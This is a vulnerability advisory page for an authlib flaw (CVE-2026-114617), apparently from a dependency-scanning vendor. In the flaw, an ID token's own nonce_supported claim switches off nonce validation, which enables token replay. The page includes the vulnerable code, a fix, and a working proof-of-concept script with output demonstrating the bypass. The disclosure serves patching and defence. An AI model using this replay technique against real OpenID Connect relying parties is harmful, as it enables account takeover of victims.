Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-114617 — authlib

MEDIUMFix: authlib/authlib@6563f6f

CVE-2026-114617 is a medium-severity (CVSS 4.2) CWE-294 vulnerability in authlib. A fix is available for authlib — see the affected versions and patch details below.

Authlib: ID token can disable its own nonce validation via the nonce_supported claim

Also known asGHSA-c5mf-xmp2-59rc
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-114617.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-114617 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍authlib

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

OpenIDMixin.parse_id_token() reads the nonce_supported claim from the ID token it is validating. When that claim is boolean false, the expected nonce is set to None and nonce validation is skipped for that token.

An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.

The code is identical in authlib/integrations/base_client/sync_openid.py:82-83 and authlib/integrations/base_client/async_openid.py:84-85, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a).

Preconditions: the ID token must carry a valid signature and pass iss and aud validation, and the attacker must be able to supply it to parse_id_token(). Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling parse_id_token() directly, are affected.

Details

Affected code

authlib/integrations/base_client/sync_openid.py:80-85, in parse_id_token():

claims = claims_cls(token.claims, token.header, claims_options, claims_params)
# https://github.com/authlib/authlib/issues/259
if claims.get("nonce_supported") is False:
    claims.params["nonce"] = None

claims.validate(leeway=leeway)

authlib/integrations/base_client/async_openid.py:82-86 contains the same code.

Source of the claim

claims is constructed from token.claims, which is the decoded payload of the ID token passed to parse_id_token():

token = jwt.decode(
    token["id_token"],
    key=key_set,
    registry=JWSRegistry(algorithms=alg_values, strict_check_header=False),
)
...
claims = claims_cls(token.claims, token.header, claims_options, claims_params)

claims.get("nonce_supported") therefore resolves against the ID token payload. It is not read from load_server_metadata(), from client configuration, or from any other source under the relying party's control.

Effect on validation

IDToken.validate_nonce() at authlib/oidc/core/claims.py:69-83 performs the comparison only when the expected value is truthy:

nonce_value = self.params.get("nonce")
if nonce_value:
    if "nonce" not in self:
        raise MissingClaimError("nonce")
    if nonce_value != self["nonce"]:
        raise InvalidClaimError("nonce")

Assigning claims.params["nonce"] = None makes nonce_value falsy, so both the presence check and the equality check are skipped. No error is raised and claims.validate() completes normally.

The docstring of that same method states the requirement:

If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.

Trigger condition

The comparison is is False, so only a JSON boolean false activates the branch. A string value "false" does not, and nonce validation proceeds normally in that case.

Origin

The branch was added in commit 3ca7333c ("Skip verifying nonce for Apple case") to accommodate a provider that emits a nonce_supported claim, as referenced by the inline comment pointing to issue #259.

Remediation

Read the flag from server metadata or client configuration rather than from the token:

metadata = self.load_server_metadata()
if metadata.get("nonce_supported") is False:
    claims.params["nonce"] = None

This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.

Proof of concept

Environment

  • authlib 1.8.0, commit c529a61a (tag v1.8.0)
  • Python 3.14
  • joserfc 1.7.5
  • No network access required
git clone https://github.com/authlib/authlib.git && cd authlib
git checkout c529a61a
python3 -m venv .venv
.venv/bin/pip install -e . joserfc==1.7.5
.venv/bin/python poc.py

Configuration

The relying party is a subclass of the shipped OpenIDMixin supplying only client_id and load_server_metadata(). fetch_jwk_set() returns metadata["jwks"] directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.

The signing key is a generated RSA key. All three tokens are signed with it, carry iss and aud matching the relying party configuration, and are within their validity window. The relying party's session nonce is nonce-the-rp-actually-generated; every token carries the different nonce nonce-from-the-captured-token.

poc.py

from joserfc import jwt
from joserfc.jwk import RSAKey
from authlib.integrations.base_client.sync_openid import OpenIDMixin

ISSUER = "https://as.example"
CLIENT_ID = "rp-client"
KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"})
JWKS = {"keys": [KEY.as_dict(private=False)]}


class RP(OpenIDMixin):
    client_id = CLIENT_ID

    def load_server_metadata(self):
        return {"issuer": ISSUER, "jwks": JWKS}


def id_token(nonce, sub="victim", nonce_supported=None):
    claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID,
              "iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000}
    if nonce is not None:
        claims["nonce"] = nonce
    if nonce_supported is not None:
        claims["nonce_supported"] = nonce_supported
    return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY)


rp = RP()
SESSION_NONCE = "nonce-the-rp-actually-generated"
CAPTURED_NONCE = "nonce-from-the-captured-token"

cases = [
    ("[1] no nonce_supported claim", None),
    ("[2] nonce_supported: false", False),
    ("[3] nonce_supported: \"false\"", "false"),
]

for label, flag in cases:
    tok = {"access_token": "AT",
           "id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)}
    try:
        user = rp.parse_id_token(tok, nonce=SESSION_NONCE)
        print(f"{label:34s} -> ACCEPTED sub={user['sub']}")
    except Exception as e:
        print(f"{label:34s} -> REJECTED {type(e).__name__}: {e}")

Expected result

All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected.

Observed result

[1] no nonce_supported claim       -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'
[2] nonce_supported: false         -> ACCEPTED sub=victim
[3] nonce_supported: "false"       -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'

Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the nonce_supported claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean.

The script exits 0 and produces identical output across three runs.

Impact

Type of vulnerability

Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294).

The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to.

Who is impacted

OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to parse_id_token():

  • Implicit flow relying parties, where the ID token is returned in the URL fragment.
  • Hybrid flow relying parties, where the ID token is returned in the fragment or by form post.
  • Applications calling parse_id_token() directly on externally supplied input.

Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed.

Relying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a state lookup and cannot be substituted by an attacker.

Consequence

An attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, parse_id_token() returns a UserInfo for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it.

The token must carry a valid signature and pass iss and aud validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a Referer header, proxy or server logs, or a shared device.

Mitigation available to integrators

None. The check is performed inside parse_id_token(), and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIauthliball versions1.9.0pip install --upgrade 'authlib==1.9.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for authlib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update authlib to 1.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-114617 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary `OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token. An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party. The code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `auth
O3 Security · Impact-Aware SCA

Is CVE-2026-114617 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-114617: authlib Auth Bypass — Fixed in 1.9.0